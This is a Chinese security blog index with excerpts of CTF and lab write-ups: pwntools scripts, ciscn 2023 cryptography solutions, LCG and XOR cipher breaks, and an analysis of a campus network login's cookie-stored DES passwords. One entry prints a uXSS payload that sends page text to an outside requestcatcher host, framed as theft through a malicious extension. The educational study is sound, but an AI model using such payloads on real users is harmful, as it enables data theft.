June 1, 2023

SGMW(上汽五菱) CTF

一道很有趣的词频分析(tag:密码/杂项) 感谢 AcexZe 师傅帮助 AcezZe: 运气好,词频出来一看知道要反转一下,以为是栅栏或者凯撒的后续,试了一下发现没啥特殊的,就继续看看字频了 / 给了 password.txt 和 flag.zip , 思路是对 password.txt 进行词频分析(具体步骤可以看下面的 psw_string.py ),并且按照 psw_string.py 逻辑进行去除噪声,即可拿到压缩包密码
Read more
May 30, 2023

CSAPP

lab 拆弹 第一步的exp, 进 ida 一眼顶针发现是个字符串比对 from pwn import * import sys import argparse context.log_level = 'debug' path_to_elf = '/home/user/PWN/OS/bomb_XBan/bomb' elf = ELF(path_to_elf) libc = elf.libc ip = sys.argv[1] # sys.argv[0] 为当前文件名 if len(sys.argv[1]) < 5: port = 0 else: port = int(sys.argv[2]) if port == 0: p = process(path_to_elf) else: p = remote(ip, port) sla = lambda x,y : p.sendlineafter(x,y) sa = lambda x,y : p.sendafter(x,y) ru = lambda x : p.recvuntil(x) def g(arg=''): if port != 0: return gdb.attach(p, arg) raw_input() def choice(op): sla('choice: ', str(op)) def arena(op): choice(1) choice(str(op)) def buy(obj): choice(2) sla('want a', obj) def use(obj): choice(3) choice(1) ru('use?\n') sa(']', obj) def leak_heap(x, y, z): ret = (z ^ 0xBAAD)<<16 ret = (ret + y ^ 0xBAAD)<<16 ret += x ^ 0xBAAD return ret p.recvuntil('day!\n') # 传回 'Border relations with Canada have never been better.' p.sendline(b'Border relations with Canada have never been better.') p.recvuntil(b'next one?\n') p.interactive()
Read more
May 29, 2023

ciscn2023 密码部分WP

密码1-基于国密SM2算法的密钥密文分发 按照附件写exp # 自动发包 import requests import json import base64 import binascii import urllib.parse as parse from gmssl import sm2, func from gmssl.sm4 import CryptSM4, SM4_ENCRYPT, SM4_DECRYPT # curl -d "name=%E5%93%88%E5%93%88&school=%E5%AE%89%E5%BE%BD%E5%A4%A7%E5%AD%A6&phone=15958198820" http://192.168.31.153:3000/api/login url = 'http://39.105.187.49:16435' data = { 'name': '1', 'school': '1', 'phone': '1' } # 对data进行url编码 data = parse.urlencode(data) # import urllib.parse as parse # print(data) 接口 = '/api/login' res = requests.post(url + 接口, data=data) json_data = json.loads(res.text) data = json_data['data'] # print(data) id = data['id'] print(id) # 1,登录选手信息获取唯一id # 把id发给 /api/allkey 接口 = '/api/allkey' res = requests.post(url + 接口, data={'id': id}) # print(res.text) json_data = json.loads(res.text) data = json_data['data'] publicKey = data['publicKey'] # 选手SM2公钥 privateKey = data['privateKey'] # 选手SM2私钥 randomString = data['randomString'] # print('publicKey\n', publicKey) # print('privateKey\n', privateKey) # print('randomString\n', randomString) # 将公钥传回 接口 = '/api/allkey' # 2,发送选手SM2公钥到服务端,并获取服务端加密后的随机数密文、私钥密文和公钥明文 # 服务器使用国密SM2算法生成密钥对B(公钥B_Public_Key、私钥B_Private_Key)、使用量子随机数发生器产生16字节随机数C;服务器首先使用16字节随机数C对私钥B_Private_Key采用SM4ECB算法加密得到私钥B_Private_Key密文,然后使用A_Public_Key对16字节随机数C进行SM2加密得到随机数C密文; res = requests.post(url + 接口, data={'id': id, 'publicKey': publicKey}) # print(res.text) B公钥明文 = json.loads(res.text)['data']['publicKey'] 随机数C对私钥B_Private_Key采用SM4ECB算法加密得到私钥B_Private_Key密文 = json.loads(res.text)[ 'data']['privateKey'] 量子随机数发生器产生16字节随机数C密文 = json.loads(res.text)['data']['randomString'] # print('serverPublicKey\n', serverPublicKey) # 用户使用私钥A_Private_Key,对随机数C密文进行SM2解密,获取16字节随机数C明文; sm2_crypt = sm2.CryptSM2( public_key=publicKey, private_key=privateKey) print('sm4密文_\n', 量子随机数发生器产生16字节随机数C密文) # print(' # AttributeError: 'str' object has no attribute 'hex' 量子随机数发生器产生16字节随机数C密文 = binascii.a2b_hex(量子随机数发生器产生16字节随机数C密文) 量子随机数发生器产生16字节随机数C明文 = sm2_crypt.decrypt(量子随机数发生器产生16字节随机数C密文) # 量子随机数发生器产生16字节随机数C明文 转为字节 量子随机数发生器产生16字节随机数C明文 = binascii.b2a_hex(量子随机数发生器产生16字节随机数C明文) # 用户使用16字节随机数C明文,对私钥B_Private_Key密文,采用SM4ECB算法解密,得到私钥B_Private_Key明文; print('量子c\n', 量子随机数发生器产生16字节随机数C明文) sm4_crypt = CryptSM4() sm4_crypt.set_key(量子随机数发生器产生16字节随机数C明文, SM4_DECRYPT) 私钥B_Private_Key明文 = sm4_crypt.crypt_ecb( 随机数C对私钥B_Private_Key采用SM4ECB算法加密得到私钥B_Private_Key密文.encode('utf-8')) 私钥B_Private = binascii.b2a_hex(私钥B_Private_Key明文) print('私钥B_Private\n', 私钥B_Private) # 这里发现解出的私钥有问题 有可能为空 猜想是否解密错误 # 用户向服务器请求密钥,服务器使用公钥B_Public_Key明文,对密钥D(16字节)采用SM2算法加密,将密钥D密文传输给用户; check接口 = '/api/check' # 不过在这里check的时候发现一直check错误。。。 # 尝试找漏洞 后面有的注释是第一次按文件写的时候写的 接口 = '/api/quantum' res = requests.post(url + 接口, data={'id': id}) # print(res.text) quantumString = json.loads(res.text)['data']['quantumString'] res = requests.post(url + check接口, data={'id': id, 'quantumString': quantumString}) # print('quantumString\n', quantumString) # 用户使用私钥B_Private_Key明文,对密钥D密文进行解密,得到密钥D明文; sm2_crypt2 = sm2.CryptSM2( public_key=B公钥明文, private_key=私钥B_Private) quantumString = binascii.a2b_hex(quantumString) quantumString = sm2_crypt2.decrypt(quantumString) quantumString = binascii.b2a_hex(quantumString) print('quantumString\n', quantumString) # 用户将密钥D明文,上报至服务器进行验证,服务器返回参赛结果;用户可向服务器查询个人信息及参赛结果。 # 尝试非预期 quantumString = quantumString.decode('utf-8') res = requests.post(url + 接口, data={'id': id, 'quantumString': quantumString}) print(res.text) res = requests.post(url + 接口, data={'id': id, 'quantumString': quantumString}) print(res.text) 接口 = '/api/search' res = requests.post(url + 接口, data={'id': id}) print(res.text) quantumStringServer = json.loads(res.text)['data']['quantumStringServer'] print('quantumStringServer\n', quantumStringServer) res = requests.post(url + check接口, data={'id': id, 'quantumString': quantumStringServer}) res = requests.post(url + 接口, data={'id': id}) print(res.text) 密码2-可信度量 在根目录下递归搜索包含字符串"flag"的文件,并将结果输出到标准输出,并过滤掉无权访问的行 grep -ra "flag" / 2>&1 | grep -v "Permission denied" | grep -v "denied$" --line-buffered 密码3-Sign_in_passwd 文件后缀改txt后(方便查阅) url解码第二行信息后base64换表 第一行作为密文 第二行作为表来解 密码4-badkey1 题面 from Crypto.Util.number import * from Crypto.PublicKey import RSA from hashlib import sha256 import random, os, signal, string def proof_of_work(): random.seed(os.urandom(8)) proof = ''.join([random.choice(string.ascii_letters+string.digits) for _ in range(20)]) _hexdigest = sha256(proof.encode()).hexdigest() print(f"sha256(XXXX+{proof[4:]}) == {_hexdigest}") print('Give me XXXX: ') x = input() if len(x) != 4 or sha256(x.encode()+proof[4:].encode()).hexdigest() != _hexdigest: print('Wrong PoW') return False return True if not proof_of_work(): exit(1) signal.alarm(10) print("Give me a bad RSA keypair.") try: p = int(input('p = ')) q = int(input('q = ')) assert p > 0 assert q > 0 assert p != q assert p.bit_length() == 512 assert q.bit_length() == 512 assert isPrime(p) assert isPrime(q) n = p * q e = 65537 assert p % e != 1 assert q % e != 1 d = inverse(e, (p-1)*(q-1)) except: print("Invalid params") exit(2) try: key = RSA.construct([n,e,d,p,q]) print("This is not a bad RSA keypair.") exit(3) except KeyboardInterrupt: print("Hacker detected.") exit(4) except ValueError: print("How could this happen?") from secret import flag print(flag) 按照 brealid 师傅的推导过程自己推了一遍 工作量证明 模板 import hashlib import string import itertools from tqdm import tqdm from pwn import * # 遍历所有的XXXX,找到符合条件的XXXX b = string.digits + string.ascii_letters + string.punctuation strL = itertools.product(b, repeat=4) ip = '47.93.187.243' port = 39092 io = remote(ip, port, level='debug') data = io.recvline() # print(data) # b'sha256(XXXX+2ywKnEOsDsVMJXvP) == f8ffb979f1819dba9905c67b9b85874c681807f6e3cb2953901785764f5e8db8\n' 残缺的sha = data.split(b'+')[1].split(b')')[0] sha256后的值 = data.split(b'== ')[1].strip() hash_object = hashlib.sha256() for i in strL: a = i[0] + i[1] + i[2] + i[3] sha = a + 残缺的sha.decode() # print(sha) hash_object.update(sha.encode()) digest = hash_object.digest() hex_digest = digest.hex() if hex_digest == sha256后的值.decode(): print(a) io.sendline(a.encode()) break io.interactive() 推导
Read more
May 22, 2023

NSSCTF 流密码工坊

LCG 流密码介绍 [公式] LCG代码实现 Python 实现 class LCG: def __init__(self, seed, a, b, m): self.seed = seed # 初始种子 self.a = a # 乘数 self.b = b # 增量 self.m = m # 模数 def generate(self): self.seed = (self.a * self.seed + self.b) % self.m return self.seed 题面 from Crypto.Util.number import * flag = b'NSSCTF{******}' class LCG: def __init__(self, seed, a, b, m): self.seed = seed # 初始种子 self.a = a # 乘数 self.b = b # 增量 self.m = m # 模数 def generate(self): self.seed = (self.a * self.seed + self.b) % self.m return self.seed lcg = LCG(bytes_to_long(flag), getPrime(256), getPrime(256), getPrime(256)) for i in range(getPrime(16)): lcg.generate() print(f'a = {lcg.a}') print(f'b = {lcg.b}') print(f'm = {lcg.m}') print(lcg.generate()) ''' a = 113439939100914101419354202285461590291215238896870692949311811932229780896397 b = 72690056717043801599061138120661051737492950240498432137862769084012701248181 m = 72097313349570386649549374079845053721904511050364850556329251464748004927777 9772191239287471628073298955242262680551177666345371468122081567252276480156 ''' 本题给出了LCG的各个参数,然后给出了一次密文,而初始种子便是我们的flag 现在我们拥有 $X_{n+1}$ , $a$ , $b$ , $m$ , 我们进行如下操作 对第一个式子(LCG递推式) [公式] 进行移项后如下 [公式] 这样我们便得到了一个从下一项逆向递推上一项的式子。 那么在题目中我们要逆向多少项呢?我们并不知道,因为中间迭代的次数是一个随机数,但是我们不用关心,因为我们知道flag的格式,所以只需要不断的逆向,直到找到符合格式的flag为止。 exp from Crypto.Util.number import * a = 113439939100914101419354202285461590291215238896870692949311811932229780896397 b = 72690056717043801599061138120661051737492950240498432137862769084012701248181 m = 72097313349570386649549374079845053721904511050364850556329251464748004927777 x = 9772191239287471628073298955242262680551177666345371468122081567252276480156 inva = inverse(a, m) for i in range(2**16): x = (x-b)*inva % m flag = long_to_bytes(x) if b'NSSCTF' in flag: print(flag) 从这里也可以看出,一旦LCG的参数遭到了泄露,我们便可以向前恢复或者向后预测出其他的随机数(或者专业点叫做流密钥)。
Read more
May 15, 2023

深渊大学 OS PA

一点点汇编知识 如何得知 char 开了多大 sub 是一个指令,用于执行减法操作。它的作用是将一个操作数的值减去另一个操作数,并将结果存储到指定的目的地。 / esp 是啥寄存器 栈指针寄存器 当前栈顶
Read more
May 13, 2023

LitCTF2023

小小小 Background 源码星球上有一种有趣的游戏「小,小小小」。 / Description 给你 $n$ 张卡片,第 $i$ 张卡片上写着 $a_i$。 / 定义一个包含 $n$ 张卡片的卡片组分值为: / [公式] 其中 $a_{n+1} = a_1$。
Read more
May 10, 2023

校园网研究

密码和账号以密文和明文的形式储存在 cookie 中 以下是加密和保存的代码 function i(e) { var n; Object(c.a)(this, i), (n = t.call(this, e)).state = { isDoing: !1, err: null, isShowQR: !1, QR: "", QRSec: 0, QRTimer: 0 }, n.V = { remember: !1, password: "", username: "", randomPassword: "" }, n.f_key = function(e) { return $.a.enc.Utf8.parse(e.slice(-4) + e + "12345678") } , n.check = function() { j.a.post(be.url, { DoWhat: "Check" }).then((function(e) { var t = e.data; !0 === t.Result && (x.b.success(t.Message, 5), be.App.setState({ isLogin: !0 })) } )).catch((function(e) { x.b.error("\u901a\u8baf\u5931\u8d25\uff01\u8bf7\u68c0\u67e5\u7f51\u7edc\u662f\u5426\u6b63\u5e38\u63a5\u5165\uff01") } )) } , n.onFinish = function(e) { if (x.b.destroy(), n.setState({ isDoing: !0 }), e.DoWhat = "Login", e.username !== n.V.username || e.password !== n.V.randomPassword ? e.password = $.a.DES.encrypt(e.password, n.f_key(e.username), { mode: $.a.mode.ECB, padding: $.a.pad.Pkcs7 }).ciphertext.toString() : e.password = n.V.password, e.remember) { var t = new Date(Date.now() + 2592e6); ie.a.save("username", e.username, { dt: t, maxAge: 2592e3 }), ie.a.save("password", e.password, { dt: t, maxAge: 2592e3 }) } else ie.a.remove("username"), ie.a.remove("password"), ie.a.remove("remember"); j.a.post(be.url, e).then((function(e) { var t = e.data; !1 === t.Result ? (x.b.error(t.Message, 5), n.setState({ err: t.Message })) : !0 === t.Result && (x.b.success(t.Message, 5), be.App.setState({ isLogin: !0 })) } )).catch((function(e) { x.b.warning("\u901a\u8baf\u5931\u8d25\uff01\u8bf7\u68c0\u67e5\u7f51\u7edc\u662f\u5426\u6b63\u5e38\u63a5\u5165\uff01") } )).finally((function() { n.setState({ isDoing: !1 }) } )) } , n.onFinishVisitor = function(e) { x.b.destroy(), n.setState({ isDoing: !0 }), e.DoWhat = "Login", e.username = "V" + e.username, e.password = $.a.DES.encrypt(e.password, n.f_key(e.username), { mode: $.a.mode.ECB, padding: $.a.pad.Pkcs7 }).ciphertext.toString(), j.a.post(be.url, e).then((function(e) { var t = e.data; !1 === t.Result ? x.b.error(t.Message, 5) : !0 === t.Result && (x.b.success(t.Message, 5), be.App.setState({ isLogin: !0 })) } )).catch((function(e) { x.b.warning("\u901a\u8baf\u5931\u8d25\uff01\u8bf7\u68c0\u67e5\u7f51\u7edc\u662f\u5426\u6b63\u5e38\u63a5\u5165\uff01") } )).finally((function() { n.setState({ isDoing: !1 }) } )) } 已断点测试 加密逻辑如上
Read more
May 2, 2023

CryptoHack Wp

1.2 XOR 挑战 1.2.4 XOR -> You either know, XOR you don’t 发现之前做了点了 隐藏一下已经解决的 from pwn import xor from Crypto.Util.number import long_to_bytes as l2b c = "0e0b213f26041e480b26217f27342e175d0e070a3c5b103e2526217f27342e175d0e077e263451150104" c = l2b(int(c, 16)) # hex to int to bytes # 已知flag 前几位为crypto{ 于是与这几位结果对应密文xor即可得出key flag_begin_format = b"crypto{" flag_end_format = b"}" key = xor(c[:7], flag_begin_format) + xor(c[-1:], flag_end_format) print(xor(c, key))
Read more
April 8, 2023

uXSS学习

payload: / <title>HELLO</title> <script> document.title = ` <img src=x onerror="document.location = 'https://ll.requestcatcher.com/' + document.evaluate('html/body/text()', document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue.data" `; </script> 实现前提:有一个插件来监听所有网站标题 有一个改变即刷新(可以作为恶意插件载入但无法被报毒 然后使用上述代码在目标浏览器使用以窃取信息 这份代码的目的是通过XSS漏洞进行恶意跳转。具体解释如下:
Read more
April 8, 2023

十四届篮球杯题解

重现